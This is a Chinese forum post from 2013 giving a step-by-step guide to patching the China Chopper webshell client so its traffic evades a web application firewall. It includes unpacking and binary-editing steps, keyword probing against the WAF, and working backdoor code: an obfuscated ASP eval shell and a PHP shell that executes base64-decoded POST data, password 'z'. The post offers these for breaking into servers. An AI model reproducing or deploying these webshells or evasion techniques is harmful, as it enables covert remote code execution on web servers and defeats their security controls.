本帖最后由 神仙 于 2013-11-13 12:19 编辑
BY : RedFree
首先,标题有些夸张,我承认了。
其次,这篇文章没什么技术含量,文字游戏而已,我也承认了。
最后,大牛漂过,勿喷……
以前乌云空间好多同学提到或求助绕过Waf的方法,上传的一句话要么被杀,要么被拦……;本文不讨论一句话的免杀问题(其实也没什么好讨论的),也不涉及上传方法等等问题;本文的重点是改造自己手里的菜刀,让其突破Waf的拦截以方便自己使用。
改造方法:
一、中转数据(已经有同学发过,讨论过了)
模式图:
Mode
中转数据的优、缺点不讨论了……
(注意:本机中转相对来说是菜刀直接接收数据了,因为电脑是你的电脑。^_^)
二、自写菜刀(已讨论过)
最根本的方法,但需要有编程能力。
三、修改现有菜刀
这个就是本文所要讲述的。
所需工具:Chopper(20111116);Ollydbg(XX版);WinSock Expert+NC/Burpsuite;PEID;ImportREC/XXX脱壳机
要求知识:能认识常用中、英文;会打字。
改造步骤:
1、脱壳
我使用的菜刀(20111116)大小如图:
作者加了UPX压缩壳,PEID侦测如图:
使用PEID自带的插件/OD/脱壳机 脱壳修复(此处省略几百字),完成后如图:
2、使用OD载入脱壳后菜刀
将脱壳后菜刀拖入OD,使用字符串查找插件:
在查找到的字串中查找 execute("execute 关健字,来到如图所示位置,选择跟随:
跳到下图所示位置,右健:
这时数据窗口中已经到了我要修改的地方了,点选以Unicode显示:
至此前期工作已经准备完毕。
3、测试X Waf拦截的关键字
我用WinSock Expert截取了多个菜刀的通信包,使用BurpSuite单次发送,测试X Waf所拦截的关键字。
经过漫长的测试,最终我得到了X Waf所过滤的关键字“Execute("Execute、Response.Write……”,下面就可以有针对性的改进自己的菜刀了。
4、修改菜刀,去掉Post数据中的一些字串
有了前面测试所获得的关键字,下面着重改进服务端和客户端,让通信过程中不产生Waf拦截的关键字。
我是这样改进的:
ASP:
Execute("Execute =Eval("execute/Execute global("execute;
response.write写进服务端;
代码如下:
[AppleScript] 纯文本查看 复制代码 <%
Function Writesource(str)
Response.write(str)
End Function
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/z/*/(tseuqer lave")
%>
这样我们在菜刀的代码中就可以直接调用Writesource(str)这个函数(函数名长度可以自己控制,以节约一定的字符),效果和Response.write一样。
ASPX:
我是这样改进的(整个过程N多测试,此处省略几千字):
所有的Response.Write = Response. Write(加几个空格自定,.net的容错性真好!)
PHP:
把=@eval(base64_decode($_POST[z0]))写进服务端,客户端的=@eval(base64_decode($_POST[z0]))以其它内容替代,比如:a=asdfsdfsdfdfdfk,只要长度刚好相等即可。
PHP服务端代码如下:
[PHP] 纯文本查看 复制代码 <?php
$sess = $_POST['z'];
if ($sess!="")
{
$me=base64_decode($_POST['z0']);
@eval("\$str = $me;");
}
?>
密码为z.
修改后如图:
ASP:
ASPX:
PHP:
将修改后的地方选中,复制到可执行文件》再另存,打磨后的菜刀就出世了,高兴的话加个壳再压缩一下……
至此ASP、ASPX、PHP已完美过了X Waf(亲测),而且没有功能缺失;唯一的缺点是我的服务端中仍有肉眼可见的关键字,这个就要以后再改进了。
垃圾文,大牛勿喷 |